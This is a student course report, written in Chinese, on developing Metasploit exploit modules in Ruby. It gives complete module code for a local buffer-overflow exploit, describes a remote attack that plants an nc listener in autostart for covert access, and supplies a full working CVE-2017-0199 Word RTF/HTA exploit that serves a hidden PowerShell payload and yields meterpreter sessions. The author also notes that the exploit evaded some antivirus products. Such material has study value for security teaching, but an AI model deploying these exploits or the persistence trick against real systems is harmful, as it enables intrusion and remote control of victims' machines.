20145208 蔡野 《網絡對抗》免考項目 MSF學習

20145208 蔡野 《網絡對抗》免考項目 MSF Exploit模塊開發

題目:MSF Exploit模塊開發

摘要

  • 本免考項目的目標是經過對msf模塊的設計語言--ruby和exploit模塊設計框架的學習,瞭解如何經過已知的漏洞開放一個針對這個漏洞的攻擊模塊。
  • 在開始的準備工做包括ruby的基本知識的學習和理解,以及exploit模塊設計框架的瞭解和初步的實踐,在初步實踐時選擇課上使用的存在漏洞的可執行文件做爲目標,熟悉exploit模塊的開發過程;在熟悉開發過程後針對一個新的具備廣泛性的漏洞進行開放攻擊模塊的工做;經過上面的三步(基礎知識學習--模塊開發練習--針模塊開發實踐)來掌握msf中exploit模塊的開發,學習瞭解對漏洞的利用和攻擊方法。
  • 實踐的工做環境是在kali操做系統中完成msf的開發過程。在模塊開發練習的過程當中,目標對象是linux系統下的可執行文件並利用了nc的遠程漏洞;在針對廣泛性漏洞的模塊開發時,選擇的是一個新的漏洞(CVE-2017-0199),該漏洞利用word執行腳本,選擇的目標主機是安裝了騰訊電腦管家和360安全衛士的win7操做系統。
  • 最終成果:成功實現了上述思路和下述計劃。利用pwn文件開發了針對本地漏洞應用的攻擊模塊和針對遠程漏洞的攻擊模塊;成功利用CVE-2017-0199漏洞開發了攻擊模塊成功攻擊目標主機。在實踐過程當中同時學習了payload模塊的基本框架和設計原理。

計劃內容

1.學習Ruby語言及MSF Exploit開發框架html

2.開發針對本地漏洞應用的攻擊模塊java

3.開發針對遠程漏洞的攻擊模塊linux

4.分析當前某可用漏洞,開發針對的攻擊模塊正則表達式

實踐過程

Ruby語言學習

什麼是ruby語言?

  • Ruby是一種純粹的面向對象編程語言。shell

  • ruby語言的特色:
    • Ruby是開源的,在Web上免費提供,但須要一個許可證。
    • Ruby是一種通用的、解釋的編程語言。
    • Ruby是一種真正的面向對象編程語言。
    • Ruby是一種相似於 Python 和 Perl 的服務器端腳本語言。
    • Ruby能夠用來編寫通用網關接口(CGI)腳本。
    • Ruby能夠被嵌入到超文本標記語言(HTML)。
    • Ruby語法簡單,這使得新的開發人員可以快速輕鬆地學習 Ruby。
    • Ruby與 C++ 和 Perl 等許多編程語言有着相似的語法。
    • Ruby可擴展性強,用 Ruby 編寫的大程序易於維護。
    • Ruby可用於開發的 Internet 和 Intranet 應用程序。
    • Ruby能夠安裝在 Windows 和 POSIX 環境中。
    • Ruby支持許多 GUI 工具,好比 Tcl/Tk、GTK 和 OpenGL。
    • Ruby能夠很容易地鏈接到 DB二、MySQL、Oracle 和 Sybase。
    • Ruby有豐富的內置函數,能夠直接在 Ruby 腳本中使用。
  • 在msf中就使用ruby語言來編寫各個模塊,這也是爲何學習ruby語言的主要緣由。數據庫

ruby語言的基本內容

  • 全部的Ruby文件擴展名都是.rb,在msf的各個模塊中的文件也都是rb文件。
  • 就像學習c語言和java語言時同樣,第一個學習的就是helloworld:
puts "Hello, Ruby!";
  • 在ruby語言中最經常使用的輸出函數就是puts。
  • ruby語言在應用規則上和其餘的語言有不少相似共同的地方,因此在接下來的介紹中主要介紹msf編程設計中經常使用到的一些語法類型。
  • 和C和java這樣的語言明顯不一樣的是Ruby把分號和換行符解釋爲語句的結尾。若是 Ruby 在行尾遇到運算符,好比 +、- 或反斜槓,它們表示一個語句的延續。
  • Ruby 標識符是大小寫敏感的。這意味着PATH和path在Ruby中是兩個不一樣的標識符。
  • 在msf設計中,主要須要掌握類的建立、繼承,I/O類應用和函數/方法的定義和使用。
  • 在定義函數的時候define_method和def機制相似的,只是def更高效,define_method是動態定義方法而已,而且define_method可使用局部的變量,大多數時候使用的仍是def來定義函數。
  • Ruby 支持五種類型的變量。
    • 通常小寫字母、下劃線開頭:變量(Variable)。
    • $開頭:全局變量(Global variable)。
    • @開頭:實例變量(Instance variable)。
    • @@開頭:類變量(Class variable)類變量被共享在整個繼承鏈中。
    • 大寫字母開頭:常數(Constant。
  • Ruby 點運算符 "." 和雙冒號運算符 "::"
    • 能夠經過在方法名稱前加上類或模塊名稱和.來調用類或模塊中的方法。你可使用類或模塊名稱和兩個冒號::來引用類或模塊中的常量。
    • :: 是一元運算符,容許在類或模塊內定義常量、實例方法和類方法,能夠從類或模塊外的任何地方進行訪問。在 Ruby 中,類和方法也能夠被看成常量。只須要在表達式的常量名前加上::前綴,便可返回適當的類或模塊對象。若是:: 前的表達式爲類或模塊名稱,則返回該類或模塊內對應的常量值;若是::前沒有前綴表達式,則返回主Object類中對應的常量值。
  • 在定義方法的時候能夠定義一個簡單的方法,以下所示:
def method_name 
   expr..
end
  • 也能夠定義一個接受參數的方法,以下所示:
def method_name (var1, var2)
   expr..
end
  • 調用的時候只須要使用方法名便可:method_name
  • Ruby 中的每一個方法默認都會返回一個值。這個返回的值是最後一個語句的值。例如:
def test
   i = 100
   j = 10
   k = 0
end
  • 在調用這個方法時,將返回最後一個聲明的變量 k。也可使用 Ruby 中的 return 語句用於從 Ruby 方法中返回一個或多個值。
  • require 語句相似於 C 和 C++ 中的 include 語句以及 Java 中的 import 語句。若是一個第三方的程序想要使用任何已定義的模塊,則能夠簡單地使用 Ruby require 語句來加載模塊文件,好比msf模塊中最經常使用的:require 'msf/core'
  • 能夠在類中嵌入模塊。爲了在類中嵌入模塊,您能夠在類中使用 include 語句:include Msf::Exploit::FILEFORMAT,若是模塊是定義在一個單獨的文件中,那麼在嵌入模塊以前就須要使用 require 語句引用該文件。
  • Ruby 字符串分爲單引號字符串(')和雙引號字符串("),區別在於雙引號字符串可以支持更多的轉義字符。
  • 字符串內建方法:
    • 使用puts "#{foo}"來調用已經定義的字符串
    • 使用str + other_str來鏈接兩個字符串 other_str 到 str。
    • str.chomp:從字符串末尾移除記錄分隔符($/),一般是 \n。若是沒有記錄分隔符,則不進行任何操做。
    • str.delete(other_str, ...):返回 str 的副本,參數交集中的全部字符會被刪除。
    • str.delete!(other_str, ...):與 delete 相同,可是 str 會發生變化並返回。
    • str.each_line(separator=$/) { |substr| block }:使用參數做爲記錄分隔符(默認是 $/)分隔 str,傳遞每一個子字符串給被提供的 block。
    • str.gsub(pattern, replacement) [or] str.gsub(pattern) { |match| block }:返回 str 的副本,pattern 的全部出現都替換爲 replacement 或 block 的值。pattern 一般是一個正則表達式 Regexp;若是是一個字符串 String,則沒有正則表達式元字符被解釋(即,/\d/ 將匹配一個數字,但 '\d' 將匹配一個反斜槓後跟一個 'd')。
    • str.gsub!(pattern, replacement) [or] str.gsub!(pattern) { |match| block }:執行 String#gsub 的替換,返回 str,若是沒有替換被執行則返回 nil。
  • 可使用 File.new 方法建立一個 File 對象用於讀取、寫入或者讀寫,讀寫權限取決於 mode 參數。最後寫完文件後,可使用 File.close 方法來關閉該文件。
  • 可使用 File.open 方法建立一個新的 file 對象,並把該 file 對象賦值給文件。可是,File.open 和 File.new 方法之間有一點不一樣。不一樣點是 File.open 方法可與塊關聯,而 File.new 方法不能。

MSF Exploit開發框架

MSF Exploit簡介

  • Metasploit Framework 已經發布了新的版本,開發組採用了Ruby 語言,這就是爲何以前學習ruby語言的緣由,接下來就要學習MSF的Exploit模塊開發框架。
  • metasploit基礎庫文件位於源碼根目錄路徑下的libraries目錄中,包括Rex,framework-core和framework-base三部分。
    • Rex是整個框架所依賴的最基礎的一些組件,如包裝的網絡套接字、網絡應用協議客戶端與服務端實現、日誌子系統、滲透攻擊支持例程、PostgreSQL以及MySQL數據庫支持等;
    • framework-core庫負責實現全部與各類類型的上層模塊及插件的交互接口;
    • framework-base庫擴展了framework-core,提供更加簡單的包裝例程,並未處理框架各個方面的功能提供了一些功能類,用於支持用戶接口與功能程序調用框架自己功能及框架集成模塊;
    • 模塊是經過Metasploit框架所裝載、集成並對外提供的最核心的滲透測試功能實現代碼。分爲輔助模塊(Aux)、滲透攻擊模塊(Exploits)、後滲透攻擊模塊(Post)、攻擊載荷模塊(payloads)、編碼器模塊(Encoders)、空指令模塊(Nops)。這些模塊擁有很是清晰的結構和一個預約義好的接口,並能夠組合支持信息收集、滲透攻擊與後滲透攻擊拓展。在這裏主要學習滲透攻擊模塊。
  • 對於一些名詞的解釋:
    • Exploit : 可以進行攻擊並獲得目標系統控制權的惡意代碼,經典的exploit 由payload 和injector(注入程序)組成,payload 負責取得系統的控制權,而注入程序負責將payload 注射到相應的有漏洞的系統中;
    • Payload : 其實就是廣義上的shellcode,被翻譯成「有效載荷」;
    • Shellcode : 攻擊程序的核心代碼,可以取得系統的控制權,通常是取得一個 shell,是一些彙編代碼抽取成的16 進制碼;
    • Injector : 相對shellcode 來講,它實現加載和發送shellcode,提供返回地址等功能;
    • B-Attacker : Buffer Attack Strings,指「無用字符段+返回地址+shellcode」的組合體,一般用來填充有漏洞的緩衝區,而後等待獲取控制權並執行shellcode;
    • Encoder : 編碼器,防止shellcode 由於意外發生中斷而附加在exploit 裏的一段代碼,主要功能是實現shellcode 的保護;
    • Decoder : 解碼器,因爲shellcode 通過encode後已經沒法被正確解釋執行,故須要進行解碼還原成原來的shellcode,通常集成在shellcode 裏;

Exploit開發框架

  • 對於Exploit 的開發,讓人聯想到的是彙編語言、程序設計、對操做系統結構的熟悉掌握,可是若是利用MSF 開發,將大大簡化這個過程。
    • 1)肯定目標漏洞信息:能夠經過網上查詢漏洞資料瞭解信息。
    • 2) 肯定注射器injector:通常injector 負責三件事:加載shellcode,填充返回地址,發送shellcode。
    • 3)肯定shellcode
    • 4)完成exploit
  • 那麼整個開發框架大概以下:
1 $payload = 」......」;
2 $string = 「...」;
3 $string .= 「A」 x 32;
4 $string .= 「\x7b\x94\x81\x7c」; 
5 $string .= $payload;
6 open(NC, 「|nc.exe 127.0.0.1 80″);
7 print NC $string;
8 close(NC);
  • 其中,標號1處爲payload,2-98即爲injector,3是填充字符串,4 爲返回地址,6-8 爲發送代碼,處理網絡通訊。而整個$string便是B-Attacker。
  • 核心的事情就是確認返回地址。

Exploit集成

  • info 結構:
my $info =
  {
  ‘Name’  => ‘IIS 4.0 .HTR Buffer Overflow’,
  ‘Version’  => ‘$Revision: 1.7 $’,
  ‘Authors’ => [ 'Stinko', ],
  ‘Arch’  => [ 'x86' ],
  ‘OS’    => [ 'win32', 'winnt' ],
  ‘Priv’  => 0,
   }
  • 很容易理解,Name 是指exploit 的名稱,Version 指版本號,Authors 指做者,Arch 指目標系統的系統結構,OS 指系統信息,Priv 指是否須要管理員權限。
  • register_options結構:
register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
      OptString.new('URIPATH',  [ true, 'The URI to use for the HTA file', 'default.hta'])
    ], self.class)
  • register_options就是指須要用戶輸入的值,好比FILENAME指文件名,這裏每一個子鍵包括三個參數,第一個指是不是必須設置的;第二個是對該子鍵的描述;第三個是默認設置的值。
  • payload:
’Payload’ =>
   {
  ‘Space’  => 2048,
  ‘MaxNops’ => 0,
  ‘MinNops’ => 0,
  ‘BadChars’  =>,
   },
  • Space 子鍵的做用是設定載荷的最大大小,若是這個值比較小,那麼引擎會嘗試全部的編碼器,直到全部的編碼器都沒法使載荷達到預約的大小要求;接下來兩項是空字段的大小;BadChars 指定編碼器要刪除的不符合要求的字符。
’Description’  =>%q{
        //此處省略
        },
  • Description 指對exploit 的描述信息,這個子鍵裏的內容將被傳遞給Pex::Text::Freeform()處理並按照必定格式顯示。
’Refs’  =>
   [
  ['OSVDB', ''],
  ['BID', ''],
  ['CVE', ''],
  ['URL', ''],
  ['MIL', ''],
    ],
  • Refs 子鍵至關於參考資料說明
’DefaultTarget’ => 0,
’Targets’ => [
  ['Windows XX', 593, 0x77f81a4d],
  ['Windows XX', 593, 0x77f7635d],
  ['Windows XX', 589, 0x77f76385],
   ],
  • Targets 子鍵指定目標系統的操做系統類型,由於不一樣的payload 要運行在正確的系統上。
  • 三個參數分別表示系統類型,返回地址位置和返回地址值。
  • DefaultTarget 用來指定默認的操做系統,好比此例中0 指向Windows NT4 SP3 。
’Keys’ => ['iis'],
’DisclosureDate’ => ‘XXXXXX′,
  • Keys子鍵用於MSF 過濾,而DisclosureDate 指exploit 的公佈日期。

開發針對本地漏洞應用的攻擊模塊

  • 這部份內容我選擇的在課上用到的pwn文件來做爲本地攻擊對象。
  • 該漏洞中填充長度、返回地址位置和返回地址值的獲取在以前的博客中有介紹。博客連接
  • 這裏主要體現msf中模塊的內容,模塊設計的以下:
require 'msf/core'
class MetasploitModule < Msf::Exploit
  Rank = GreatRanking
  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'local_pwn',
      'Description'   => %q(
       local exploits
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'caiye',                          
              '20145208'    
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
    
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X64 } ]
      ],
      'DefaultTarget' => 0,

      'References'    =>
      [
       
      ],
      'DisclosureDate' => "04 17 2017"
    ))
    register_options([
      OptString.new("Inputfile_PATH", [ true, "FILE PATH", "/root/20145208/input" ]),
      OptString.new("Thepwn_PATH", [ true, "FILE PATH", "/root/20145208/pwnx" ]),

])
  end
  def exploit
        用來填充的字符串
    str="11111111"+
            "22222222"+
        "33333333"+
        "44444444"
        返回地址
    addr="\x7d\x84\x04\x08"
        兩個字符串鏈接
    buf= str + addr
        將攻擊字符串寫入文件
    inputfile = File.new("#{datastore['Inputfile_PATH']}","w")
    inputfile.print("#{buf}")   
    inputfile.close
        將文件內容做爲被攻擊對象的輸入值
        output = system("(cat #{datastore['Inputfile_PATH']};cat)|#{datastore['Thepwn_PATH']}")
        得到返回結果  
        output.each_line { |line| vprint_status(line.chomp) }
  end
end
  • 運行結果以下:

  • 用此方法執行本地攻擊有一個缺陷,就是沒法進行更多操做,只能獲取命令行,若是想進行更多操做如文件權限的修改等,就須要用到retaddr+nop+shellcode的方式攻擊,經過不一樣的shellcode達到不一樣的攻擊方式:

  • 可是慘遭失敗:

  • 測試發現,緣由是在msf內部執行可執行文件pwnx時,文件的返回地址是變化的,和在外部執行的時候是不同,並且經過gdb的方式是測試不出msf中運行可執行文件的返回地址的:

  • 而以前的方式能夠成功的緣由是函數的地址是不變的,是事先設定好的。
  • 同時發現攻擊載荷是沒有問題的,能夠在msf外部順利使用:

  • 因此,retaddr+nop+shellcode的方式實際上是能夠結合遠程漏掉使用在遠程攻擊模塊上面的。

開發針對遠程漏洞的攻擊模塊

  • 此次我把pwn文件做爲一個惡意文件發送到遠程計算機(Linux操做系統)中,而後利用有漏洞的網絡服務--nc來對目標進行攻擊。
  • nc的利用若是本身來編寫一個惡意程序的話在編寫的時候就能夠加入進去nc的使用,如一旦運行就識別文件目錄並執行nc -l -p 端口 -t -e 文件位置來接受網絡上的數據做爲文件的輸入,在本次實驗中使用的是已經寫好的可執行文件,那麼能夠將這個命令加入到自啓動項目裏就能夠隱蔽的創建nc鏈接了:

  • 將攻擊代碼稍做修改:

  • 而後攻擊方就能夠對被攻擊方進行攻擊了:

  • 關鍵的地方是返回地址容易錯誤,這裏須要注意返回地址須要填寫創建後nc後調試出的返回地址(設置關閉地址隨機化後調試一次就能夠了,沒必要每次都調試):

  • 上面測試了getshell的功能,getshell的payload是自行編寫的:

  • 接下來測試其餘的功能,如meterpreter的功能:

  • 能夠看到成功的效果,理論上其餘的一些payload也均可以這樣進行使用。
  • 其實針對exploit模塊的開發,主要難度在於對漏洞信息的利用,掌握了漏洞信息再肯定shellcode等信息的插入點,一個exploit模塊的開發也就完成了大半。

分析當前某可用漏洞,開發針對的攻擊模塊

漏洞分析

  • 選擇的當前漏洞是CVE-2017-0199漏洞,針對的是Microsoft Office RTF文檔的漏洞。當用戶打開包含該漏洞利用代碼的文檔時,惡意代碼就會下載並執行包含PowerShell命令的Visual Basic腳本。惡意Office文檔正是利用了漏洞CVE-2017-0199來在受感染設備上下載並執行惡意Payload。
  • 攻擊的整個過程以下:
      1. 攻擊者向目標用戶發送一個嵌入了OLE2文件(對象連接)的Word文檔。
      1. 當用戶打開文檔以後,winword.exe會向遠程服務器發送一個HTTP請求,並獲取一個惡意HTA文件。
      1. 服務器返回的這個文件是一個僞造的RTF文件,其中嵌入了惡意腳本。
      1. Winword.exe會經過一個COM對象來查詢HTA文件處理器,而這一行爲將會使微軟HTA應用(mshta.exe)加載並執行惡意腳本。
  • 首先對於漏洞進行測試,從上面對攻擊過程當中能夠知道須要在目標word文檔中嵌入對象連接,這裏我鏈接到個人kali中的apache服務器:

  • 在kali中要在apache對應的WEB目錄下放入一個rtf文件做爲請求更新的返回文件,其中寫入腳本(此處是打開計算器,非惡意,能夠替換爲惡意):

  • 同時確保apache配置文件conf/mime.types裏面有rtf的content type項:

  • 此時雙擊對象連接會顯示rtf文件裏面的20145208,但不執行腳本:

  • 此時在apache配置文件conf/mime.types中把application/rtf rtf修改爲:application/hta rtf重啓apache後,清除IE緩存再雙擊對象,此時雖然訪問的仍是1.rtf文件,可是服務器的Content-type會返回application/hta,而word就以hta腳本的方式打開文件:

  • 這樣的poc仍是須要用戶雙擊對象進行交互的,那麼怎麼樣才能自動運行對象呢?這裏就須要把文件保存成rtf格式後用文本編輯器打開剛保存的rtf文件,找到object標籤所在的地方:apache

  • {\object\objautlink\rsltpict修改爲:{\object\objautlink\objupdate\rsltpict,objupdate這個標籤的做用是能夠自動更新對象,保存文件再從新打開。此時無需用戶交互就可直接運行hta腳本。編程

攻擊模塊開發

  • 模塊設計代碼以下:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Microsoft Office Word Malicious Hta Execution",
      'Description'    => %q{
        This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution.
      },
      'Author'         =>
        [
          '20145208cy', 
        ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2017-0199'],
      ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Microsoft Office Word', {} ]
        ],
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => false
        },
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => '6 24 2017'))
    register_options([
      OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),
      OptString.new('URIPATH',  [ true, 'The URI to use for the HTA file', 'default.hta'])
    ], self.class)
  end

  def generate_uri
    uri_maxlength = 112
    host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
    scheme = datastore['SSL'] ? 'https' : 'http'
    uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
    uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))
    uri.delete!("\n")
    uri.delete!("\\x")
    uri.delete!("\\")

    padding_length = uri_maxlength * 2 - uri.length
    fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length.negative?
    padding_length.times { uri << "0" }

    uri
  end

  def create_ole_ministream_data
    ministream_data = ""
    ministream_data << "01000002090000000100000000000000" # 00000000: ................
    ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y
    ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K......
    ministream_data << generate_uri
    ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.]
    ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............
    ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F
    ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................
    ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7...........
    ministream_data << "00000000000000000000000000000000" # 000000f0: ................
    ministream_data << "100203000d0000000000000000000000" # 00000100: ................
    ministream_data << "00000000000000000000000000000000" # 00000110: ................
    ministream_data << "00000000000000000000000000000000" # 00000120: ................
    ministream_data << "00000000000000000000000000000000" # 00000130: ................
    ministream_data << "00000000000000000000000000000000" # 00000140: ................
    ministream_data << "00000000000000000000000000000000" # 00000150: ................
    ministream_data << "00000000000000000000000000000000" # 00000160: ................
    ministream_data << "00000000000000000000000000000000" # 00000170: ................
    ministream_data << "00000000000000000000000000000000" # 00000180: ................
    ministream_data << "00000000000000000000000000000000" # 00000190: ................
    ministream_data << "00000000000000000000000000000000" # 000001a0: ................
    ministream_data << "00000000000000000000000000000000" # 000001b0: ................
    ministream_data << "00000000000000000000000000000000" # 000001c0: ................
    ministream_data << "00000000000000000000000000000000" # 000001d0: ................
    ministream_data << "00000000000000000000000000000000" # 000001e0: ................
    ministream_data << "00000000000000000000000000000000" # 000001f0: ................
    
    ministream_data
  end

  def create_rtf_format
    template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf")
    template_rtf = ::File.open(template_path, 'rb')
    data = template_rtf.read(template_rtf.stat.size)
    data.gsub!('MINISTREAM_DATA', create_ole_ministream_data)
    template_rtf.close

    data
  end



  def on_request_uri(cli, req)
    p = regenerate_payload(cli)
    data = Msf::Util::EXE.to_executable_fmt(
      framework,
      ARCH_X86,
      'win',
      p.encoded,
      'hta-psh',
      { :arch => ARCH_X86, :platform => 'win' }
    )
    data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n")
    send_response(cli, data, 'Content-Type' => 'application/hta')
  end

  def exploit
    file_create(create_rtf_format)
    super
  end
end
  • 對攻擊模塊的設計,首先結合漏洞的信息,漏洞核心是更新對象的時候得到一個帶有惡意腳本的文件,而後以hta方式運行腳本,因此構造一個能夠插入惡意腳本的rtf文件是攻擊模塊的核心內容,通過分析和查找相關內容,結合以前作的那個rtf文件能夠得出下圖中藍色部分能夠做爲插入點:

  • 將藍字部分改成MINISTREAM_DATA而後經過以下圖的方式進行插入替換:

  • 替換內容中的generate_uri是請求更新對象的地址目錄信息,經過另一個函數方法實現,函數返回值是uri:

  • 文件的內容具有了,而後使用file_create(create_rtf_format)函數產生一個名爲本身設置的文件,以後把這個文件發給對方。
  • 當目標打開了文件以後會發起一個申請,因此模塊中還須要設計一個對申請的處理,咱們用來攻擊的payload也在這裏添加進去發給對方:

  • 對方收到以後將會使微軟HTA應用(mshta.exe)加載並執行惡意腳本。
  • 如添加了meterpreter的payload以後,對方打開文件後msf中會收到新的會話,經過這些會話就能夠進行meterpreter的一些攻擊操做了:

  • 漏洞在四、5月來講仍是比較新的,一些不是專業殺毒的安全軟件檢查不出,如騰訊電腦管家和360安全衛士。可是發現6月開始基本上均可以檢測出漏洞的信息了,不過測試了騰訊電腦管家發現,他不是根據特徵碼查殺,但是根據行爲,當準備利用微軟HTA應用(mshta.exe)加載並執行惡意腳本會進行提示這是一個漏洞行爲,詢問是否阻止,這在5月份實驗的過程當中是沒有的。
相關文章
相關標籤/搜索